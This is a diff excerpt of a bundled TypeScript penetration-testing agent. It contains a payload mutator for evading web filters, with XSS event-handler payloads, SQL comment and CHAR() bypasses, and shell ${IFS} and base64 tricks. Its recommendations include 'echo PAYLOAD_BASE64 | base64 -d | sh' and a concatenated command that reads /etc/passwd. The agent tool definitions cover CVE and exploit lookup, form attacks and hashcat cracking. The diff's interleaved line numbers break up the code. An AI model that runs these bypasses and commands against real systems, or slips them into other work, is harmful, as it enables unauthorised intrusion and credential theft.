return match.slice(0, mid) + "/**/" + match.slice(mid);
|
|
3819
|
-
});
|
|
3820
|
-
}
|
|
3821
|
-
return result2;
|
|
3822
|
-
}
|
|
3823
|
-
function whitespaceAlt(s) {
|
|
3824
|
-
const alts = ["%09", "%0a", "%0c", "%0d", "/**/"];
|
|
3825
|
-
const alt = alts[Math.floor(Math.random() * alts.length)];
|
|
3826
|
-
return s.replace(/ /g, alt);
|
|
3827
|
-
}
|
|
3828
|
-
function charFunction(s, dbType = "mysql") {
|
|
3829
|
-
const chars = [...s].map((c) => c.charCodeAt(0));
|
|
3830
|
-
if (dbType === "mysql") {
|
|
3831
|
-
return `CHAR(${chars.join(",")})`;
|
|
3832
|
-
}
|
|
3833
|
-
if (dbType === "mssql") {
|
|
3834
|
-
return chars.map((c) => `CHAR(${c})`).join("+");
|
|
3835
|
-
}
|
|
3836
|
-
return chars.map((c) => `CHR(${c})`).join("||");
|
|
3837
|
-
}
|
|
3838
|
-
function concatSplit(s) {
|
|
3839
|
-
if (s.length <= 2) return s;
|
|
3840
|
-
const mid = Math.floor(s.length / 2);
|
|
3841
|
-
return `CONCAT('${s.slice(0, mid)}','${s.slice(mid)}')`;
|
|
3842
|
-
}
|
|
3843
|
-
function nullByteAppend(s) {
|
|
3844
|
-
return s + "%00";
|
|
3845
|
-
}
|
|
3846
|
-
function reversePayload(s) {
|
|
3847
|
-
return [...s].reverse().join("");
|
|
3848
|
-
}
|
|
3849
|
-
function utf8Overlong(s) {
|
|
3850
|
-
return s.replace(/\//g, "%c0%af").replace(/\./g, "%c0%ae");
|
|
3851
|
-
}
|
|
3852
|
-
function mixedEncoding(s) {
|
|
3853
|
-
return [...s].map((c, i) => {
|
|
3854
|
-
if (i % 2 === 0 && c !== " ") return c;
|
|
3855
|
-
return `%${c.charCodeAt(0).toString(16).padStart(2, "0")}`;
|
|
3856
|
-
}).join("");
|
|
3857
|
-
}
|
|
3858
|
-
function keywordBypass(s) {
|
|
3859
|
-
return [...s].map((c, i) => {
|
|
3860
|
-
if (i > 0 && i < s.length - 1 && i % 3 === 0 && c.match(/[a-z]/i)) {
|
|
3861
|
-
return `'${c}'`;
|
|
4060
|
+
// src/engine/tools/pentest-intel-tools.ts
|
|
4061
|
+
var createIntelTools = (_state) => [
|
|
4062
|
+
{
|
|
4063
|
+
name: TOOL_NAMES.PARSE_NMAP,
|
|
4064
|
+
description: "Parse nmap XML output to structured JSON",
|
|
4065
|
+
parameters: { path: { type: "string", description: "Path to nmap XML" } },
|
|
4066
|
+
required: ["path"],
|
|
4067
|
+
execute: async (p) => parseNmap(p.path)
|
|
4068
|
+
},
|
|
4069
|
+
{
|
|
4070
|
+
name: TOOL_NAMES.SEARCH_CVE,
|
|
4071
|
+
description: "Search CVE and Exploit-DB for vulnerabilities",
|
|
4072
|
+
parameters: {
|
|
4073
|
+
service: { type: "string", description: "Service name" },
|
|
4074
|
+
version: { type: "string", description: "Version number" }
|
|
4075
|
+
},
|
|
4076
|
+
required: ["service"],
|
|
4077
|
+
execute: async (p) => searchCVE(p.service, p.version)
|
|
4078
|
+
},
|
|
4079
|
+
{
|
|
4080
|
+
name: TOOL_NAMES.WEB_SEARCH,
|
|
4081
|
+
description: `Search the web for information. Use this to:
|
|
4082
|
+
- Find CVE details and exploit code
|
|
4083
|
+
- Research security advisories
|
|
4084
|
+
- Look up OWASP vulnerabilities
|
|
4085
|
+
- Find documentation for tools and techniques
|
|
4086
|
+
- Search for latest security news and exploits
|
|
4087
|
+
- Research unknown services, parameters, or errors
|
|
4088
|
+
|
|
4089
|
+
IMPORTANT: When you encounter an error or unknown behavior, use this tool to research it.
|
|
4090
|
+
Returns search results with links and summaries.`,
|
|
4091
|
+
parameters: {
|
|
4092
|
+
query: { type: "string", description: "Search query" },
|
|
4093
|
+
use_browser: {
|
|
4094
|
+
type: "boolean",
|
|
4095
|
+
description: "Use headless browser for JavaScript-heavy pages (slower but more complete)"
|
|
4096
|
+
}
|
|
4097
|
+
},
|
|
4098
|
+
required: ["query"],
|
|
4099
|
+
execute: async (p) => {
|
|
4100
|
+
const query = p.query;
|
|
4101
|
+
const useBrowser = p.use_browser;
|
|
4102
|
+
if (useBrowser) {
|
|
4103
|
+
const result2 = await webSearchWithBrowser(query, "google");
|
|
4104
|
+
return {
|
|
4105
|
+
success: result2.success,
|
|
4106
|
+
output: result2.output,
|
|
4107
|
+
error: result2.error
|
|
4108
|
+
};
|
|
4109
|
+
}
|
|
4110
|
+
return webSearch(query);
|
|
3862
4111
|
}
|
|
3863
|
-
|
|
3864
|
-
}).join("");
|
|
3865
|
-
}
|
|
3866
|
-
function spaceBypass(s) {
|
|
3867
|
-
return s.replace(/ /g, "${IFS}");
|
|
3868
|
-
}
|
|
3869
|
-
function generateXssAlternatives(payload) {
|
|
3870
|
-
const variants = [];
|
|
3871
|
-
const tagPayloads = [
|
|
3872
|
-
{ p: "<svg onload=alert(1)>", d: "SVG onload" },
|
|
3873
|
-
{ p: "<img src=x onerror=alert(1)>", d: "IMG onerror" },
|
|
3874
|
-
{ p: "<body onload=alert(1)>", d: "BODY onload" },
|
|
3875
|
-
{ p: "<input onfocus=alert(1) autofocus>", d: "INPUT onfocus autofocus" },
|
|
3876
|
-
{ p: "<details open ontoggle=alert(1)>", d: "DETAILS ontoggle" },
|
|
3877
|
-
{ p: "<marquee onstart=alert(1)>", d: "MARQUEE onstart" },
|
|
3878
|
-
{ p: "<video src=x onerror=alert(1)>", d: "VIDEO onerror" },
|
|
3879
|
-
{ p: "<audio src=x onerror=alert(1)>", d: "AUDIO onerror" },
|
|
3880
|
-
{ p: '<iframe src="javascript:alert(1)">', d: "IFRAME javascript protocol" },
|
|
3881
|
-
{ p: '<object data="javascript:alert(1)">', d: "OBJECT javascript protocol" },
|
|
3882
|
-
{ p: "<svg><animate onbegin=alert(1) attributeName=x dur=1s>", d: "SVG animate onbegin" }
|
|
3883
|
-
];
|
|
3884
|
-
const alertBypass = [
|
|
3885
|
-
{ p: "confirm(1)", d: "confirm() instead of alert()" },
|
|
3886
|
-
{ p: "prompt(1)", d: "prompt() instead of alert()" },
|
|
3887
|
-
{ p: 'eval(atob("YWxlcnQoMSk="))', d: "eval+base64 of alert(1)" },
|
|
3888
|
-
{ p: "window['al'+'ert'](1)", d: "string concat alert" },
|
|
3889
|
-
{ p: "self[`al`+`ert`](1)", d: "template literal alert" },
|
|
3890
|
-
{ p: '[].constructor.constructor("alert(1)")()', d: "constructor chain" }
|
|
3891
|
-
];
|
|
3892
|
-
for (const tag of tagPayloads) {
|
|
3893
|
-
variants.push({ payload: tag.p, transform: "tag_alternative", description: tag.d });
|
|
3894
|
-
}
|
|
3895
|
-
for (const alt of alertBypass) {
|
|
3896
|
-
variants.push({ payload: `<img src=x onerror=${alt.p}>`, transform: "js_alternative", description: alt.d });
|
|
3897
|
-
}
|
|
3898
|
-
return variants;
|
|
3899
|
-
}
|
|
3900
|
-
function generateSqlAlternatives(payload) {
|
|
3901
|
-
const variants = [];
|
|
3902
|
-
variants.push({ payload: payload.replace(/--.*$/, "--"), transform: "comment_variation", description: "Double dash comment" });
|
|
3903
|
-
variants.push({ payload: payload.replace(/--.*$/, "#"), transform: "comment_variation", description: "Hash comment (MySQL)" });
|
|
3904
|
-
variants.push({ payload: payload.replace(/--.*$/, "/*"), transform: "comment_variation", description: "Block comment" });
|
|
3905
|
-
variants.push({ payload: payload.replace(/--.*$/, "-- -"), transform: "comment_variation", description: "Dash-space-dash" });
|
|
3906
|
-
variants.push({ payload: payload.replace(/--.*$/, ";--"), transform: "comment_variation", description: "Semicolon then comment" });
|
|
3907
|
-
const mysqlVersion = payload.replace(/(UNION|SELECT|INSERT|UPDATE|DELETE|FROM|WHERE)/gi, "/*!50000$1*/");
|
|
3908
|
-
variants.push({ payload: mysqlVersion, transform: "mysql_version_comment", description: "MySQL version comment bypass" });
|
|
3909
|
-
return variants;
|
|
3910
|
-
}
|
|
3911
|
-
function mutatePayload(request) {
|
|
3912
|
-
const { payload, transforms, context = "generic", maxVariants = 20 } = request;
|
|
3913
|
-
const variants = [];
|
|
3914
|
-
const recommendations = [];
|
|
3915
|
-
const activeTransforms = transforms || getDefaultTransforms(context);
|
|
3916
|
-
for (const transform of activeTransforms) {
|
|
3917
|
-
switch (transform) {
|
|
3918
|
-
case "url":
|
|
3919
|
-
variants.push({ payload: urlEncode(payload), transform: "url", description: "URL encoded (special chars only)" });
|
|
3920
|
-
variants.push({ payload: urlEncodeAll(payload), transform: "url_full", description: "URL encoded (all chars)" });
|
|
3921
|
-
break;
|
|
3922
|
-
case "double_url":
|
|
3923
|
-
variants.push({ payload: doubleUrlEncode(payload), transform: "double_url", description: "Double URL encoded" });
|
|
3924
|
-
break;
|
|
3925
|
-
case "triple_url":
|
|
3926
|
-
variants.push({ payload: tripleUrlEncode(payload), transform: "triple_url", description: "Triple URL encoded" });
|
|
3927
|
-
break;
|
|
3928
|
-
case "unicode":
|
|
3929
|
-
variants.push({ payload: unicodeEncode(payload), transform: "unicode", description: "Unicode escape sequences" });
|
|
3930
|
-
break;
|
|
3931
|
-
case "html_entity_dec":
|
|
3932
|
-
variants.push({ payload: htmlEntityDec(payload), transform: "html_entity_dec", description: "HTML decimal entities" });
|
|
3933
|
-
break;
|
|
3934
|
-
case "html_entity_hex":
|
|
3935
|
-
variants.push({ payload: htmlEntityHex(payload), transform: "html_entity_hex", description: "HTML hex entities" });
|
|
3936
|
-
break;
|
|
3937
|
-
case "hex":
|
|
3938
|
-
variants.push({ payload: hexEncode(payload), transform: "hex", description: "Hex encoded" });
|
|
3939
|
-
break;
|
|
3940
|
-
case "octal":
|
|
3941
|
-
variants.push({ payload: octalEncode(payload), transform: "octal", description: "Octal encoded" });
|
|
3942
|
-
break;
|
|
3943
|
-
case "base64":
|
|
3944
|
-
variants.push({ payload: base64Encode(payload), transform: "base64", description: "Base64 encoded" });
|
|
3945
|
-
break;
|
|
3946
|
-
case "case_swap":
|
|
3947
|
-
for (let i = 0; i < 3; i++) {
|
|
3948
|
-
variants.push({ payload: caseSwap(payload), transform: "case_swap", description: `Case variation ${i + 1}` });
|
|
3949
|
-
}
|
|
3950
|
-
break;
|
|
3951
|
-
case "comment_insert":
|
|
3952
|
-
variants.push({ payload: commentInsert(payload), transform: "comment_insert", description: "SQL comments in keywords" });
|
|
3953
|
-
break;
|
|
3954
|
-
case "whitespace_alt":
|
|
3955
|
-
variants.push({ payload: whitespaceAlt(payload), transform: "whitespace_alt", description: "Alternative whitespace chars" });
|
|
3956
|
-
variants.push({ payload: payload.replace(/ /g, "/**/"), transform: "whitespace_comment", description: "Comment as whitespace" });
|
|
3957
|
-
variants.push({ payload: payload.replace(/ /g, "+"), transform: "whitespace_plus", description: "Plus as whitespace" });
|
|
3958
|
-
break;
|
|
3959
|
-
case "char_function":
|
|
3960
|
-
variants.push({ payload: charFunction(payload, "mysql"), transform: "char_mysql", description: "MySQL CHAR() encoding" });
|
|
3961
|
-
variants.push({ payload: charFunction(payload, "mssql"), transform: "char_mssql", description: "MSSQL CHAR() encoding" });
|
|
3962
|
-
variants.push({ payload: charFunction(payload, "pg"), transform: "char_pg", description: "PostgreSQL CHR() encoding" });
|
|
3963
|
-
break;
|
|
3964
|
-
case "concat_split":
|
|
3965
|
-
variants.push({ payload: concatSplit(payload), transform: "concat_split", description: "String split via CONCAT" });
|
|
3966
|
-
break;
|
|
3967
|
-
case "null_byte":
|
|
3968
|
-
variants.push({ payload: nullByteAppend(payload), transform: "null_byte", description: "Null byte appended" });
|
|
3969
|
-
variants.push({ payload: payload + "%00.jpg", transform: "null_byte_ext", description: "Null byte + fake extension" });
|
|
3970
|
-
break;
|
|
3971
|
-
case "reverse":
|
|
3972
|
-
variants.push({ payload: reversePayload(payload), transform: "reverse", description: "Reversed (use with rev | sh)" });
|
|
3973
|
-
break;
|
|
3974
|
-
case "utf8_overlong":
|
|
3975
|
-
variants.push({ payload: utf8Overlong(payload), transform: "utf8_overlong", description: "UTF-8 overlong sequences" });
|
|
3976
|
-
break;
|
|
3977
|
-
case "mixed_encoding":
|
|
3978
|
-
variants.push({ payload: mixedEncoding(payload), transform: "mixed_encoding", description: "Mixed encoding (partial)" });
|
|
3979
|
-
break;
|
|
3980
|
-
case "tag_alternative":
|
|
3981
|
-
case "event_handler":
|
|
3982
|
-
case "js_alternative":
|
|
3983
|
-
variants.push(...generateXssAlternatives(payload));
|
|
3984
|
-
break;
|
|
3985
|
-
case "keyword_bypass":
|
|
3986
|
-
variants.push({ payload: keywordBypass(payload), transform: "keyword_bypass", description: "Quote-inserted keyword bypass" });
|
|
3987
|
-
variants.push({ payload: spaceBypass(payload), transform: "space_bypass", description: "$IFS space bypass" });
|
|
3988
|
-
break;
|
|
3989
|
-
case "space_bypass":
|
|
3990
|
-
variants.push({ payload: payload.replace(/ /g, "${IFS}"), transform: "ifs", description: "$IFS space bypass" });
|
|
3991
|
-
variants.push({ payload: payload.replace(/ /g, "%09"), transform: "tab", description: "Tab space bypass" });
|
|
3992
|
-
variants.push({ payload: payload.replace(/ /g, "<"), transform: "redirect", description: "Redirect as separator" });
|
|
3993
|
-
const parts = payload.split(" ");
|
|
3994
|
-
if (parts.length >= 2) {
|
|
3995
|
-
variants.push({ payload: `{${parts.join(",")}}`, transform: "brace", description: "Brace expansion" });
|
|
3996
|
-
}
|
|
3997
|
-
break;
|
|
3998
|
-
}
|
|
3999
|
-
}
|
|
4000
|
-
if (context.startsWith("sql")) {
|
|
4001
|
-
variants.push(...generateSqlAlternatives(payload));
|
|
4002
|
-
}
|
|
4003
|
-
recommendations.push(...getContextRecommendations(context, variants.length));
|
|
4004
|
-
return {
|
|
4005
|
-
variants: variants.slice(0, maxVariants),
|
|
4006
|
-
recommendations
|
|
4007
|
-
};
|
|
4008
|
-
}
|
|
4009
|
-
function getDefaultTransforms(context) {
|
|
4010
|
-
switch (context) {
|
|
4011
|
-
case "url_path":
|
|
4012
|
-
case "url_param":
|
|
4013
|
-
return ["url", "double_url", "unicode", "utf8_overlong", "mixed_encoding", "null_byte"];
|
|
4014
|
-
case "html_body":
|
|
4015
|
-
return ["html_entity_dec", "html_entity_hex", "unicode", "tag_alternative", "event_handler", "js_alternative"];
|
|
4016
|
-
case "html_attr":
|
|
4017
|
-
return ["html_entity_dec", "html_entity_hex", "event_handler"];
|
|
4018
|
-
case "js_string":
|
|
4019
|
-
return ["unicode", "hex", "base64", "js_alternative"];
|
|
4020
|
-
case "sql_string":
|
|
4021
|
-
case "sql_numeric":
|
|
4022
|
-
return ["case_swap", "comment_insert", "whitespace_alt", "char_function", "concat_split", "url", "double_url"];
|
|
4023
|
-
case "shell_cmd":
|
|
4024
|
-
return ["keyword_bypass", "space_bypass", "base64", "reverse", "hex", "octal"];
|
|
4025
|
-
case "xml_body":
|
|
4026
|
-
return ["html_entity_dec", "html_entity_hex", "unicode"];
|
|
4027
|
-
case "json_body":
|
|
4028
|
-
return ["unicode"];
|
|
4029
|
-
case "http_header":
|
|
4030
|
-
case "cookie":
|
|
4031
|
-
return ["url", "double_url", "base64"];
|
|
4032
|
-
default:
|
|
4033
|
-
return ["url", "double_url", "html_entity_dec", "unicode", "base64", "case_swap"];
|
|
4034
|
-
}
|
|
4035
|
-
}
|
|
4036
|
-
function getContextRecommendations(context, variantCount) {
|
|
4037
|
-
const recs = [];
|
|
4038
|
-
recs.push(`Generated ${variantCount} variants for context: ${context}`);
|
|
4039
|
-
switch (context) {
|
|
4040
|
-
case "url_param":
|
|
4041
|
-
recs.push("If all URL encoding fails: try HTTP Parameter Pollution (send same param twice)");
|
|
4042
|
-
recs.push("Try switching GET \u2192 POST or changing Content-Type");
|
|
4043
|
-
recs.push("Check if WebSocket endpoint exists (often unfiltered)");
|
|
4044
|
-
break;
|
|
4045
|
-
case "sql_string":
|
|
4046
|
-
case "sql_numeric":
|
|
4047
|
-
recs.push("If inline comments fail: try MySQL version comments /*!50000SELECT*/");
|
|
4048
|
-
recs.push("Try time-based blind if error/union payloads are blocked");
|
|
4049
|
-
recs.push("Use sqlmap with --tamper scripts for automated bypass");
|
|
4050
|
-
break;
|
|
4051
|
-
case "html_body":
|
|
4052
|
-
recs.push("If common XSS tags blocked: try SVG, MathML, mutation XSS");
|
|
4053
|
-
recs.push("Check CSP header \u2014 it determines what JS execution is possible");
|
|
4054
|
-
recs.push("Try DOM-based XSS via document.location, innerHTML, postMessage");
|
|
4055
|
-
break;
|
|
4056
|
-
case "shell_cmd":
|
|
4057
|
-
recs.push("Use ${IFS} for space, quotes for keyword bypass, base64 for full obfuscation");
|
|
4058
|
-
recs.push("Try: echo PAYLOAD_BASE64 | base64 -d | sh");
|
|
4059
|
-
recs.push("Variable concatenation: a=c;b=at;$a$b /etc/passwd");
|
|
4060
|
-
break;
|
|
4061
|
-
}
|
|
4062
|
-
recs.push("If all variants fail: web_search for latest bypass techniques for this specific filter type");
|
|
4063
|
-
return recs;
|
|
4064
|
-
}
|
|
4065
|
-
|
|
4066
|
-
// src/engine/tools/pentest.ts
|
|
4067
|
-
var createPentestTools = (state) => [
|
|
4112
|
+
},
|
|
4068
4113
|
{
|
|
4069
|
-
name: TOOL_NAMES.
|
|
4070
|
-
description: `
|
|
4071
|
-
Use this for
|
|
4072
|
-
|
|
4073
|
-
|
|
4074
|
-
|
|
4075
|
-
|
|
4076
|
-
|
|
4077
|
-
|
|
4078
|
-
|
|
4114
|
+
name: TOOL_NAMES.BROWSE_URL,
|
|
4115
|
+
description: `Navigate to a URL using a headless browser (Playwright).
|
|
4116
|
+
Use this for:
|
|
4117
|
+
- Browsing JavaScript-heavy websites
|
|
4118
|
+
- Extracting links, forms, and content
|
|
4119
|
+
- Viewing security advisories
|
|
4120
|
+
- Accessing documentation pages
|
|
4121
|
+
- Analyzing web application structure
|
|
4122
|
+
- Discovering web attack surface (forms, inputs, API endpoints)
|
|
4123
|
+
|
|
4124
|
+
Can extract forms and inputs for security testing.`,
|
|
4079
4125
|
parameters: {
|
|
4080
|
-
|
|
4081
|
-
|
|
4082
|
-
type: "
|
|
4083
|
-
|
|
4084
|
-
type: "object",
|
|
4085
|
-
properties: {
|
|
4086
|
-
id: { type: "string", description: "Item ID (required for update/remove)" },
|
|
4087
|
-
text: { type: "string", description: "Updated text" },
|
|
4088
|
-
completed: { type: "boolean", description: "Completion status" },
|
|
4089
|
-
remove: { type: "boolean", description: "Remove item if true" }
|
|
4090
|
-
},
|
|
4091
|
-
required: ["id"]
|
|
4092
|
-
},
|
|
4093
|
-
description: "Updates to existing checklist items"
|
|
4126
|
+
url: { type: "string", description: "URL to browse" },
|
|
4127
|
+
extract_forms: {
|
|
4128
|
+
type: "boolean",
|
|
4129
|
+
description: "Extract form information (inputs, actions, methods)"
|
|
4094
4130
|
},
|
|
4095
|
-
|
|
4096
|
-
type: "
|
|
4097
|
-
|
|
4098
|
-
|
|
4131
|
+
extract_links: {
|
|
4132
|
+
type: "boolean",
|
|
4133
|
+
description: "Extract all links from the page"
|
|
4134
|
+
},
|
|
4135
|
+
screenshot: {
|
|
4136
|
+
type: "boolean",
|
|
4137
|
+
description: "Take a screenshot of the page"
|
|
4138
|
+
},
|
|
4139
|
+
extra_headers: {
|
|
4140
|
+
type: "object",
|
|
4141
|
+
description: 'Custom HTTP headers (e.g., {"X-Forwarded-For": "127.0.0.1"})',
|
|
4142
|
+
additionalProperties: { type: "string" }
|
|
4099
4143
|
}
|
|
4100
4144
|
},
|
|
4145
|
+
required: ["url"],
|
|
4101
4146
|
execute: async (p) => {
|
|
4102
|
-
|
|
4103
|
-
|
|
4104
|
-
|
|
4147
|
+
const result2 = await browseUrl(p.url, {
|
|
4148
|
+
extractForms: p.extract_forms,
|
|
4149
|
+
extractLinks: p.extract_links,
|
|
4150
|
+
screenshot: p.screenshot,
|
|
4151
|
+
extraHeaders: p.extra_headers
|
|
4152
|
+
});
|
|
4105
4153
|
return {
|
|
4106
|
-
success:
|
|
4107
|
-
output:
|
|
4108
|
-
|
|
4109
|
-
Checklist Items: ${state.getMissionChecklist().length}`
|
|
4154
|
+
success: result2.success,
|
|
4155
|
+
output: result2.output,
|
|
4156
|
+
error: result2.error
|
|
4110
4157
|
};
|
|
4111
4158
|
}
|
|
4112
4159
|
},
|
|
4113
4160
|
{
|
|
4114
|
-
name: TOOL_NAMES.
|
|
4115
|
-
description: `
|
|
4116
|
-
|
|
4117
|
-
|
|
4118
|
-
|
|
4119
|
-
|
|
4120
|
-
format: { type: "string", description: "Hash format (e.g., md5, sha1, nt, mscash2). Omit for auto-detect." },
|
|
4121
|
-
wordlist: { type: "string", description: "Wordlist name or path (default: rockyou)" },
|
|
4122
|
-
background: { type: "boolean", description: "Run in background. Default: true" }
|
|
4123
|
-
},
|
|
4124
|
-
required: ["hashes"],
|
|
4125
|
-
execute: async (p) => {
|
|
4126
|
-
const hashes = p.hashes;
|
|
4127
|
-
const format = p.format;
|
|
4128
|
-
const wordlist = p.wordlist || "rockyou";
|
|
4129
|
-
const background = p.background !== false;
|
|
4130
|
-
let wordlistPath = wordlist;
|
|
4131
|
-
if (wordlist === "rockyou") wordlistPath = WORDLISTS.ROCKYOU;
|
|
4132
|
-
const cmd = `hashcat -m ${format || HASHCAT_MODES.MD5} "${hashes}" "${wordlistPath}" --force`;
|
|
4133
|
-
if (background) {
|
|
4134
|
-
const proc = startBackgroundProcess(cmd, {
|
|
4135
|
-
description: `Cracking hashes: ${hashes.slice(0, 20)}...`,
|
|
4136
|
-
purpose: `Attempting to crack ${format || "unknown"} hashes using ${wordlist}`
|
|
4137
|
-
});
|
|
4138
|
-
return {
|
|
4139
|
-
success: true,
|
|
4140
|
-
output: `Hash cracking started in background (ID: ${proc.id}).
|
|
4141
|
-
Command: ${cmd}
|
|
4142
|
-
Check status with: bg_process({ action: "status", process_id: "${proc.id}" })`
|
|
4143
|
-
};
|
|
4144
|
-
} else {
|
|
4145
|
-
return runCommand(cmd);
|
|
4146
|
-
}
|
|
4147
|
-
}
|
|
4148
|
-
},
|
|
4149
|
-
{
|
|
4150
|
-
name: TOOL_NAMES.PARSE_NMAP,
|
|
4151
|
-
description: "Parse nmap XML output to structured JSON",
|
|
4152
|
-
parameters: { path: { type: "string", description: "Path to nmap XML" } },
|
|
4153
|
-
required: ["path"],
|
|
4154
|
-
execute: async (p) => parseNmap(p.path)
|
|
4155
|
-
},
|
|
4156
|
-
{
|
|
4157
|
-
name: TOOL_NAMES.SEARCH_CVE,
|
|
4158
|
-
description: "Search CVE and Exploit-DB for vulnerabilities",
|
|
4159
|
-
parameters: {
|
|
4160
|
-
service: { type: "string", description: "Service name" },
|
|
4161
|
-
version: { type: "string", description: "Version number" }
|
|
4162
|
-
},
|
|
4163
|
-
required: ["service"],
|
|
4164
|
-
execute: async (p) => searchCVE(p.service, p.version)
|
|
4165
|
-
},
|
|
4166
|
-
{
|
|
4167
|
-
name: TOOL_NAMES.WEB_SEARCH,
|
|
4168
|
-
description: `Search the web for information. Use this to:
|
|
4169
|
-
- Find CVE details and exploit code
|
|
4170
|
-
- Research security advisories
|
|
4171
|
-
- Look up OWASP vulnerabilities
|
|
4172
|
-
- Find documentation for tools and techniques
|
|
4173
|
-
- Search for latest security news and exploits
|
|
4174
|
-
- Research unknown services, parameters, or errors
|
|
4175
|
-
|
|
4176
|
-
IMPORTANT: When you encounter an error or unknown behavior, use this tool to research it.
|
|
4177
|
-
Returns search results with links and summaries.`,
|
|
4178
|
-
parameters: {
|
|
4179
|
-
query: { type: "string", description: "Search query" },
|
|
4180
|
-
use_browser: {
|
|
4181
|
-
type: "boolean",
|
|
4182
|
-
description: "Use headless browser for JavaScript-heavy pages (slower but more complete)"
|
|
4183
|
-
}
|
|
4184
|
-
},
|
|
4185
|
-
required: ["query"],
|
|
4186
|
-
execute: async (p) => {
|
|
4187
|
-
const query = p.query;
|
|
4188
|
-
const useBrowser = p.use_browser;
|
|
4189
|
-
if (useBrowser) {
|
|
4190
|
-
const result2 = await webSearchWithBrowser(query, "google");
|
|
4191
|
-
return {
|
|
4192
|
-
success: result2.success,
|
|
4193
|
-
output: result2.output,
|
|
4194
|
-
error: result2.error
|
|
4195
|
-
};
|
|
4196
|
-
}
|
|
4197
|
-
return webSearch(query);
|
|
4198
|
-
}
|
|
4199
|
-
},
|
|
4200
|
-
{
|
|
4201
|
-
name: TOOL_NAMES.BROWSE_URL,
|
|
4202
|
-
description: `Navigate to a URL using a headless browser (Playwright).
|
|
4203
|
-
Use this for:
|
|
4204
|
-
- Browsing JavaScript-heavy websites
|
|
4205
|
-
- Extracting links, forms, and content
|
|
4206
|
-
- Viewing security advisories
|
|
4207
|
-
- Accessing documentation pages
|
|
4208
|
-
- Analyzing web application structure
|
|
4209
|
-
- Discovering web attack surface (forms, inputs, API endpoints)
|
|
4210
|
-
|
|
4211
|
-
Can extract forms and inputs for security testing.`,
|
|
4212
|
-
parameters: {
|
|
4213
|
-
url: { type: "string", description: "URL to browse" },
|
|
4214
|
-
extract_forms: {
|
|
4215
|
-
type: "boolean",
|
|
4216
|
-
description: "Extract form information (inputs, actions, methods)"
|
|
4217
|
-
},
|
|
4218
|
-
extract_links: {
|
|
4219
|
-
type: "boolean",
|
|
4220
|
-
description: "Extract all links from the page"
|
|
4221
|
-
},
|
|
4222
|
-
screenshot: {
|
|
4223
|
-
type: "boolean",
|
|
4224
|
-
description: "Take a screenshot of the page"
|
|
4225
|
-
},
|
|
4226
|
-
extra_headers: {
|
|
4227
|
-
type: "object",
|
|
4228
|
-
description: 'Custom HTTP headers (e.g., {"X-Forwarded-For": "127.0.0.1"})',
|
|
4229
|
-
additionalProperties: { type: "string" }
|
|
4230
|
-
}
|
|
4231
|
-
},
|
|
4232
|
-
required: ["url"],
|
|
4233
|
-
execute: async (p) => {
|
|
4234
|
-
const result2 = await browseUrl(p.url, {
|
|
4235
|
-
extractForms: p.extract_forms,
|
|
4236
|
-
extractLinks: p.extract_links,
|
|
4237
|
-
screenshot: p.screenshot,
|
|
4238
|
-
extraHeaders: p.extra_headers
|
|
4239
|
-
});
|
|
4240
|
-
return {
|
|
4241
|
-
success: result2.success,
|
|
4242
|
-
output: result2.output,
|
|
4243
|
-
error: result2.error
|
|
4244
|
-
};
|
|
4245
|
-
}
|
|
4246
|
-
},
|
|
4247
|
-
{
|
|
4248
|
-
name: TOOL_NAMES.FILL_FORM,
|
|
4249
|
-
description: `Fill and submit a web form. Use this for:
|
|
4250
|
-
- Testing form-based authentication
|
|
4251
|
-
- Submitting search forms
|
|
4252
|
-
- Testing for form injection vulnerabilities
|
|
4253
|
-
- Automated form interaction`,
|
|
4161
|
+
name: TOOL_NAMES.FILL_FORM,
|
|
4162
|
+
description: `Fill and submit a web form. Use this for:
|
|
4163
|
+
- Testing form-based authentication
|
|
4164
|
+
- Submitting search forms
|
|
4165
|
+
- Testing for form injection vulnerabilities
|
|
4166
|
+
- Automated form interaction`,
|
|
4254
4167
|
parameters: {
|
|
4255
4168
|
url: { type: "string", description: "URL containing the form" },
|
|
4256
4169
|
fields: {
|
|
@@ -4355,167 +4268,384 @@ Returns a step-by-step guide for:
|
|
|
4355
4268
|
- Check if a service version has known vulnerabilities
|
|
4356
4269
|
- Get exploit information
|
|
4357
4270
|
|
|
4358
|
-
Includes critical CVEs like Log4Shell, Spring4Shell, EternalBlue, XZ Backdoor, etc.
|
|
4359
|
-
If CVE not found locally, use web_search to find it online.`,
|
|
4271
|
+
Includes critical CVEs like Log4Shell, Spring4Shell, EternalBlue, XZ Backdoor, etc.
|
|
4272
|
+
If CVE not found locally, use web_search to find it online.`,
|
|
4273
|
+
parameters: {
|
|
4274
|
+
cve_id: {
|
|
4275
|
+
type: "string",
|
|
4276
|
+
description: 'CVE identifier (e.g., "CVE-2021-44228") or "list" to see all known CVEs'
|
|
4277
|
+
}
|
|
4278
|
+
},
|
|
4279
|
+
required: ["cve_id"],
|
|
4280
|
+
execute: async (p) => {
|
|
4281
|
+
const cveId = p.cve_id;
|
|
4282
|
+
if (cveId.toLowerCase() === "list") {
|
|
4283
|
+
const list = Object.entries(CVE_DATABASE).map(([id, info]) => `- ${id}: ${info.name} (${info.severity}) - ${info.affected}`).join("\n");
|
|
4284
|
+
return {
|
|
4285
|
+
success: true,
|
|
4286
|
+
output: `# Known CVEs in Database
|
|
4287
|
+
|
|
4288
|
+
${list}
|
|
4289
|
+
|
|
4290
|
+
Use the specific CVE ID to get more details.
|
|
4291
|
+
For CVEs not in this list, use web_search to find them.`
|
|
4292
|
+
};
|
|
4293
|
+
}
|
|
4294
|
+
const cve = CVE_DATABASE[cveId.toUpperCase()];
|
|
4295
|
+
if (cve) {
|
|
4296
|
+
return {
|
|
4297
|
+
success: true,
|
|
4298
|
+
output: `# ${cveId}
|
|
4299
|
+
|
|
4300
|
+
**Name:** ${cve.name}
|
|
4301
|
+
**Severity:** ${cve.severity}
|
|
4302
|
+
**Affected:** ${cve.affected}
|
|
4303
|
+
**Description:** ${cve.description}`
|
|
4304
|
+
};
|
|
4305
|
+
}
|
|
4306
|
+
return {
|
|
4307
|
+
success: true,
|
|
4308
|
+
output: `CVE ${cveId} not in local database. Use web_search({ query: "${cveId} exploit POC" }) to find more information online.`
|
|
4309
|
+
};
|
|
4310
|
+
}
|
|
4311
|
+
}
|
|
4312
|
+
];
|
|
4313
|
+
|
|
4314
|
+
// src/shared/utils/payload-mutator.ts
|
|
4315
|
+
function urlEncode(s) {
|
|
4316
|
+
return [...s].map((c) => {
|
|
4317
|
+
const code = c.charCodeAt(0);
|
|
4318
|
+
if (code >= 65 && code <= 90 || code >= 97 && code <= 122 || code >= 48 && code <= 57) {
|
|
4319
|
+
return c;
|
|
4320
|
+
}
|
|
4321
|
+
